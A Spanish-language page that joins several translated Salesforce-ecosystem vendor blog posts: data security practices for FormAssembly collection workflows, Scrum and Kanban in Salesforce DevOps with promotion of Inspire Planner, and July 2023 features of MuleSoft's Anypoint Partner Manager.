Muchas regiones e industrias tienen leyes estrictas de privacidad de datos, que incluyen GDPR, GLBA, HIPAA y otras, que rigen la forma en que las organizaciones manejan los datos. Puede garantizar la seguridad y el cumplimiento de los datos a lo largo de sus flujos de trabajo de recopilación de datos de Salesforce de varias maneras, incluido el enmascaramiento y el cifrado de datos, el control y los permisos de acceso, y el monitoreo regular.

Comprender la importancia de mantener los datos seguros

Los datos confidenciales son todos los datos que se pueden usar para identificar a una persona o dañarlos si se pierden o son robados. Los tipos de datos confidenciales incluyen:

  • Información de identificación personal
  • información de salud protegida
  • Registros financieros o educativos
  • Datos étnicos, políticos y biométricos

Mantener la seguridad de los datos personales ayuda a generar confianza con las personas que comparten su información personal con usted. También garantiza que su organización evite sanciones por incumplimiento de las leyes de privacidad de datos.

Prácticas recomendadas de seguridad al recopilar datos

Su organización es responsable de asegurarse de que las herramientas de recopilación de datos que utiliza tengan implementadas las medidas de seguridad adecuadas. Podrá proteger mejor los datos confidenciales desde el momento en que se recopilan, a medida que se mueven a través de sus flujos de trabajo y cuando se trasladan a Salesforce.

Enmascarar campos sensibles

El enmascaramiento de campo ayuda a garantizar que los datos confidenciales se mantengan confidenciales y no se expongan innecesariamente a usuarios no autorizados.

Cifrar datos

El cifrado de datos ayuda a proteger los datos confidenciales contra el acceso, uso o robo no autorizados, ya sea que estos datos estén en reposo o en tránsito.

Limite el acceso a los datos

La implementación de control de acceso y permisos garantiza que solo los usuarios autorizados puedan acceder o modificar los datos.

Supervisar y auditar flujos de trabajo

La vigilancia constante ayuda a garantizar que los flujos de trabajo de recopilación de datos mantengan el nivel adecuado de seguridad para mantener seguros los datos confidenciales.

2 formas de mejorar la seguridad en los flujos de trabajo de recopilación de datos de Salesforce

Un flujo de trabajo de recopilación de datos de varios pasos tendrá diferentes puntos de entrada con posibles riesgos de seguridad, como formularios, correos electrónicos y cargas de archivos. Es importante que en cada paso de sus procesos de datos, tenga medidas de seguridad para garantizar que personas no autorizadas no accedan a datos o archivos.

Asegúrese también de probar continuamente sus flujos de trabajo de recopilación de datos de Salesforce en busca de vulnerabilidades de seguridad. La detección temprana de amenazas disminuirá la posibilidad de una violación de datos u otras consecuencias graves.

Implementar reglas de retención de datos

La creación de una política clara de retención de datos es fundamental para definir cómo su organización maneja los datos con fines de cumplimiento. Es importante establecer reglas sobre qué datos deben conservarse y durante cuánto tiempo, así como reglas sobre quién tiene acceso y cómo deshacerse de los datos correctamente una vez que ya no se necesitan.

Acceso a los datos

Establecer reglas de acceso a datos como parte de su política de retención de datos garantizará que solo los usuarios autorizados en un flujo de trabajo tengan acceso a datos confidenciales. Los controles administrativos también pueden incluir el requisito de que los usuarios inicien sesión para ver o modificar las listas de respuestas del flujo de trabajo.

Purga de datos

Dentro de su flujo de trabajo, la configuración de reglas de depuración de datos puede garantizar que los datos de respuesta se eliminen de forma permanente una vez que ya no los utilice. Personalice esta configuración de depuración de datos, como la frecuencia con la que se completa una depuración, según sus requisitos de retención de datos.

Aproveche las aprobaciones del flujo de trabajo

Establecer pasos de aprobación dentro de los flujos de trabajo es importante para garantizar la responsabilidad durante el proceso de recopilación de datos. Los pasos de aprobación dentro de un flujo de trabajo significan que ningún usuario tiene control total sobre los cambios o decisiones de datos, lo que ayuda a mejorar la seguridad y la confidencialidad.

Detección de errores

Los pasos de aprobación en un flujo de trabajo proporcionan un proceso de revisión de datos estándar antes de que los datos se acepten o utilicen oficialmente. Esto ayuda a reducir las incoherencias y los errores, así como a garantizar el cumplimiento de las normas de privacidad de datos pertinentes.

Pista de auditoría

Los registros de auditoría para las aprobaciones de flujos de trabajo simplifican el proceso al registrar cada paso de aprobación y crear un registro histórico de los cambios realizados en los datos. También se pueden utilizar durante las investigaciones en caso de brechas de seguridad o problemas de datos.

Simplificación de los flujos de trabajo de recopilación de datos de Salesforce con FormAssembly

Cuando se trata de proteger los flujos de trabajo de datos, es fundamental contar con políticas de privacidad y seguridad de datos. Su organización puede beneficiarse del uso de una única plataforma de flujo de trabajo y recopilación de datos como FormAssembly, que facilita la centralización de la protección contra amenazas y garantiza el cumplimiento. Este enfoque le permite escalar más fácilmente, auditar los flujos de datos de forma centralizada y aumentar la eficiencia, al mismo tiempo que maximiza la seguridad en todos sus flujos de trabajo de recopilación de datos de Salesforce.

La potente plataforma conectada a Salesforce de FormAssembly combina la recopilación de datos segura y compatible con un generador de procesos visual e inteligente que le permite crear procesos complejos que incluyen formularios, correos electrónicos, integraciones y más, todo sin código.

Descubra cómo FormAssembly puede ayudarlo a optimizar sus flujos de trabajo de recopilación de datos de Salesforce mientras mantiene seguros los datos confidenciales.

👉 Más información sobre el flujo de trabajo de FormAssembly

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Incorporación de Agile en Salesforce DevOps – Inspire Planner

Incorporación de Agile en Salesforce DevOps - Inspire Planner

La rápida era digital exige que las empresas entreguen valor de manera rápida y eficiente. Sin embargo, los equipos dispersos geográficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ahí es donde entra en juego Agile en Salesforce DevOps.

La gestión ágil de proyectos ofrece una solución que incorpora las metodologías Scrum y Kanban para permitir una adaptación rápida, una colaboración mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organización utiliza metodologías Scrum o Kanban. Entonces, la pregunta es, ¿y tú?

Comprensión de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodologías ágiles son estrategias flexibles que facilitan una gestión de proyectos ágil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye información sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspección : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptación : si el equipo identifica discrepancias significativas durante una inspección, debe ajustar su proceso o los materiales en los que se está trabajando.

Melé

Scrum está diseñado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de períodos específicos conocidos como sprints. Un Sprint es un período de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

Por lo general, cada sprint dura hasta un mes, pero la duración más común es de dos semanas. El equipo evalúa su progreso en reuniones diarias de scrum, que son debates rápidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisión del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar áreas de mejora.

Gestión de proyectos Scrum en Inspire Planner, la aplicación de gestión de proyectos nativa de Salesforce
Creación de un Sprint en Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a través del sistema y responder rápidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que está en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a través del sistema Kanban.
  • Gestionar Flujo : La gestión de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalización rápidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de Salesforce

Análisis comparativo de Scrum y Kanban

El siguiente análisis le brinda una breve descripción general de qué marco podría usar en su organización.

Melé Kanban
Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duración. Se enfoca en el flujo continuo y no tiene plazos específicos.
roles Ayuda a los equipos a administrar proyectos complejos dividiéndolos en "sprints" manejables y con límites de tiempo con revisiones periódicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosofía del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboración. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qué marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Melé Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboración y una respuesta rápida.
+ Funciones y responsabilidades bien definidas mejoran la rendición de cuentas.
+ Las revisiones periódicas y las retrospectivas fomentan la mejora continua.
+ Excelente visualización del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones – Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
– No es tan flexible para cambiar a mitad del sprint.
– Requiere un alto nivel de disciplina y comprensión de los principios de Scrum.
– Puede que no sea tan efectivo para tareas complejas e interdependientes.
– Sin disciplina, los límites WIP pueden ignorarse, lo que genera cuellos de botella.
– La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades dinámicas de las empresas. Aquí es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder más rápidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo sólido y una comunicación efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas periódicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigación de riesgos : los sprints breves y delimitados en el tiempo permiten la identificación y resolución temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener más detalles sobre este tema, consulte nuestro artículo sobre cómo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboración, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con éxito y a tiempo. Este es el por qué:

  • Colaboración : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desafíos del proyecto, lo que promueve una resolución de problemas más efectiva. Además, la comprensión compartida y la comunicación frecuente reducen los malentendidos y la repetición del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen fácilmente en el próximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Además, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar aún más la productividad.

    Los equipos que implementan efectivamente las metodologías Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacción del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de características valiosas puede aumentar la satisfacción del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electrónica de consumo líder en Europa, se expandió a China en 2010, desarrolló rápidamente una innovadora suite de planificación de recursos empresariales (ERP) en un año. Gracias a la metodología Scrum y un equipo colaborativo, implementaron múltiples aplicaciones estándar, lo que facilitó el lanzamiento de nuevas tiendas en Asia y preparó un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodología Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. Así es cómo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, moviéndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados usándolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer límites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalización más rápida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quería aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus métodos ágiles, el cambio hacia el pensamiento Lean y la adopción de Kanban mejoraron drásticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en última instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran más competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los límites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar rápidamente ante nuevos problemas o cambios.

Pasos para integrar la metodología Kanban en proyectos de Salesforce

Estos son los pasos prácticos necesarios para integrar de manera efectiva la metodología Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas típicas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar según las necesidades específicas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gestión de proyectos física o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
  • Establecer límites de trabajo en curso (WIP) : defina cuántas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los límites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los límites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores prácticas para integrar metodologías ágiles en Salesforce DevOps

Las siguientes prácticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educación

    Asegúrese de que los miembros de su equipo comprendan los principios Agile y las prácticas de Scrum o Kanban en función de la metodología elegida. Invierta en cursos de capacitación, talleres y recursos relevantes.

  • Empieza pequeño

    Comience con un proyecto pequeño que no tenga mucho en juego. Esto permitirá que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presión.

  • Seleccione un marco ágil adecuado

    Elija Scrum o Kanban según los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboración, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas ágiles de gestión de proyectos

    Utilice herramientas diseñadas específicamente para prácticas ágiles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transición. Si su organización utiliza Salesforce, idealmente debería buscar una herramienta de gestión de proyectos nativa de Salesforce en AppExchange.

  • Promover una cultura colaborativa

    Fomente la comunicación abierta, la retroalimentación frecuente y la colaboración activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que también pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea rápido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones periódicas de preparación del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Esté preparado para incorporar cambios en el próximo sprint (en Scrum) o cuando el límite WIP lo permita (en Kanban).
  • Realice retrospectivas : después de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qué funcionó bien, qué no y cómo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que están específicamente diseñadas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente útil si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta ágil de gestión de proyectos para SalesforceInspire Planner: herramienta ágil de gestión de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporación de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementación y ejecución sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensión clara de los principios y prácticas involucrados. Es vital asegurarse de que su equipo reciba la capacitación adecuada antes de la implementación.
  • Descuidar la comunicación : la comunicación regular y clara es crucial en las metodologías ágiles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer más trabajo en menos tiempo. Se trata de administrar el trabajo de manera más efectiva. Asegúrese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el límite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar rápidamente, los equipos pueden comprometer la calidad. Incorpore prácticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas periódicas para identificar y abordar áreas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodologías ágiles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodologías sean menos efectivas. Supere esto a través de capacitación, comunicación abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transición.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusión e ineficiencia. Busque una aplicación de gestión de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporación y formación.
  • Falta de participación de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodologías ágiles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodologías ágiles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarrolló Jira como una herramienta versátil compatible con Scrum, Kanban y metodologías mixtas. Sus sólidas funciones incluyen la priorización de tareas pendientes, la planificación de sprints, los gráficos de avance y reducción, los flujos de trabajo personalizados y más. Sin embargo, para integrar Jira con Salesforce, deberá configurar una solución de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicación de gestión de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodologías Scrum y Kanban listas para usar. Inspire Planner tiene más de 130 reseñas de 5 estrellas en AppExchange e incluye todas las funciones estándar, como trabajos pendientes, sprints, puntos de la historia, gráficos de trabajo pendiente y más.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integración perfecta con Salesforce, sino que también le permite personalizar completamente la aplicación para agilizar su proceso de gestión de proyectos.

¿Y si necesita la gestión de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner también ofrece funciones avanzadas de gestión de proyectos para esta metodología, incluido un gráfico de Gantt interactivo, gestión de recursos, seguimiento del tiempo, carteras, gestión de riesgos, líneas base, dependencias de tareas avanzadas, ruta crítica, uso compartido externo, gestión de restricciones, automatización. , y mucho más.

Trello

Trello es un sistema fácil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

Aunque no tiene el nivel de personalización o las funciones de generación de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opción atractiva para equipos más pequeños o proyectos simples.

Una mirada más cercana a Inspire Planner

Inspire Planner está diseñado para ser una solución de gestión de proyectos Agile integral pero fácil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gestión ágil de proyectos en SalesforceInspire Planner Gestión ágil de proyectos en Salesforce

Aquí hay algunas razones por las que Inspire Planner podría ser una buena opción para su equipo:

  • Soporte ágil completo : Inspire Planner es compatible con las metodologías Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar fácilmente la acumulación de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.
  • Integración perfecta con Salesforce : dado que Inspire Planner vive dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicación de datos y conecta sus datos de Salesforce con sus flujos de trabajo ágiles.
  • Colaboración : Aprovecha Chatter de Salesforce para la comunicación, fomentando la colaboración dentro del equipo. También puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore rápidamente nuevos equipos e impulse la adopción a través de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones estándar como Tareas de Salesforce, Chatter, Informes y Paneles, y más.

Elegir la herramienta adecuada para sus necesidades y el tamaño de su equipo

Elegir la herramienta adecuada depende del tamaño de su equipo, la complejidad del proyecto y la metodología Agile que siga. Aquí hay algunas pautas:

  • Tamaño del equipo y complejidad del proyecto : para equipos pequeños o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta más robusta como Jira o Inspire Planner podría ser más adecuada para equipos más grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y más.
  • Integración de Salesforce : si su organización utiliza mucho Salesforce, una aplicación nativa de Salesforce como Inspire Planner podría ser la mejor opción para una integración perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitación de Salesforce para comenzar.
  • Metodología ágil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podrían ser preferibles. Para Kanban, las tres herramientas podrían satisfacer sus necesidades. Para una combinación de metodologías Agile y Waterfall, Inspire Planner sería la mejor opción.
  • Presupuesto : El costo podría ser otro factor decisivo. Trello suele ser más rentable para equipos pequeños, mientras que Jira e Inspire Planner ofrecen funciones más avanzadas a un costo mayor.

Conclusión

La incorporación de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboración en equipo, la satisfacción del cliente, la eficiencia y la gestión de riesgos. El énfasis en el desarrollo iterativo y la garantía de calidad garantiza estándares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el corazón de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aquí hay algunas ideas procesables:

  • Comprométase con el aprendizaje continuo : anime a su equipo a aprender de cada iteración y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la única constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboración : promover una cultura de comunicación abierta y colaboración. Esto puede conducir a soluciones más innovadoras y a un equipo más fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicación.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodologías ágiles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacción del cliente.

Seguir leyendo

Las nuevas funciones en Anypoint Partner Manager mejoran la agilidad y la eficiencia de la cadena de suministro ☁️

Las nuevas funciones en Anypoint Partner Manager mejoran la agilidad y la eficiencia de la cadena de suministro ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Nuevas funciones en Anypoint Partner Manager mejoran la agilidad y la eficiencia de la cadena de suministro | Blog de desarrolladores de Salesforce

Construir unacadena de suministro resiliente se ha convertido en una prioridad principal para las organizaciones debido a las interrupciones que hemos visto en los últimos años, como el COVID-19 y el conflicto entre Ucrania y Rusia .

Las plataformas de integración B2B juegan un papel vital para ayudar a las organizaciones a lograr la diversificación y expansión de la cadena de suministro. La incorporación más rápida de nuevos socios comerciales y las ricas capacidades de gestión operativa son dos aspectos importantes que los clientes necesitan para construir una cadena de suministro resistente.

Anypoint Partner Manager de MuleSoft es una plataforma de integración B2B de próxima generación y código bajo. Permite a las organizaciones integrar su red de aplicaciones empresariales componibles con sus socios comerciales externos a través de métodos EDI tradicionales, y también a través de API modernas y canales que no son EDI. Anypoint Partner Manager y la plataforma más amplia ofrecen funciones completas que ayudan a los clientes a lograr una verdadera trazabilidad de extremo a extremo.

Novedades de Anypoint Partner Manager

Nos complace anunciar que la versión de julio de 2023 de Anypoint Partner Manager presenta las siguientes innovaciones clave que ayudan a las organizaciones a lograr una incorporación de socios más rápida y una gestión operativa superior de las transacciones comerciales.

  • Reproducción de transacciones
  • Soporte para CSV y archivos delimitados
  • Mejoras en la interoperabilidad de X12 y EDIFACT

Reproducción de transacciones

Dado que las organizaciones comercian con múltiples socios para intercambiar transacciones comerciales sensibles al tiempo, es importante que los usuarios operativos cuenten con herramientas de autoservicio para reprocesar documentos comerciales cuando sea necesario. El procesamiento de transacciones B2B es casi siempre un proceso de varios pasos que involucra la interacción con socios comerciales por un lado y con sistemas back-end dispares por el otro, con las plataformas de integración B2B actuando como una puerta de enlace crítica.

Los usuarios ahora pueden reproducir cargas útiles de transmisión con un simple clic en un botón en la interfaz de usuario, o automatizar la activación de acciones de reproducción a través de llamadas a la API de la plataforma. A medida que se reproducen las transmisiones, los usuarios pueden ver el historial de reproducción en el registro de detalles de transmisión original y también ver las instancias de transmisión reproducidas a través de experiencias de búsqueda y navegación sencillas. Los administradores de la plataforma también pueden ver el historial de todas las acciones de los usuarios, incluidas las repeticiones de los registros de auditoría en Gestión de acceso, esencialmente una experiencia completa e integral en la gestión de las necesidades de reproducción de transacciones de una empresa.

CSV/archivos delimitados

Expandir el ecosistema de socios comerciales a través de múltiples geografías requiere que las organizaciones estén abiertas a intercambiar transacciones comerciales en formatos que sus socios puedan admitir. Si bien la mayoría de las organizaciones utilizan ampliamente los dos estándares EDI globales, X12 y EDIFACT, hay empresas que tienen diferentes preferencias y capacidades sobre qué formato pueden admitir. Anypoint Partner Manager ha estado admitiendo formatos XML y JSON además de X12 y EDIFACT durante bastante tiempo.

Con la introducción de la compatibilidad con archivos CSV/delimitados , los clientes ahora tienen más opciones para incorporar a sus socios comerciales más rápido, con una experiencia de código bajo simplificada y basada en la configuración, a través de una amplia variedad de formatos y protocolos de datos.

Mejoras en la interoperabilidad de X12 y EDIFACT

Además de la reproducción de transacciones y la compatibilidad con archivos CSV/delimitados, esta versión también incluye las siguientes mejoras que mejoran la interoperabilidad general de Anypoint Partner Manager, lo que permite a los clientes integrarse con su ecosistema de socios comerciales externos con confianza.

El primero es una reconciliación de acuse de recibo mejorada para manejar la aceptación parcial y el rechazo con escenarios de error.

El segundo es la capacidad de configurar códigos hexadecimales como caracteres delimitadores X12 y EDIFACT para generar cargas útiles EDI, que coincidan con las especificaciones de los socios comerciales.

Conclusión

Con la introducción de las nuevas funciones en la versión de julio de 2023, Anypoint Partner Manager ahora ofrece más opciones para que las empresas integren su red de aplicaciones empresariales componibles con su ecosistema de socios comerciales externos.

Mire este video para obtener más información sobre las nuevas funciones de Anypoint Partner Manager y más.

Recursos

Sobre el Autor

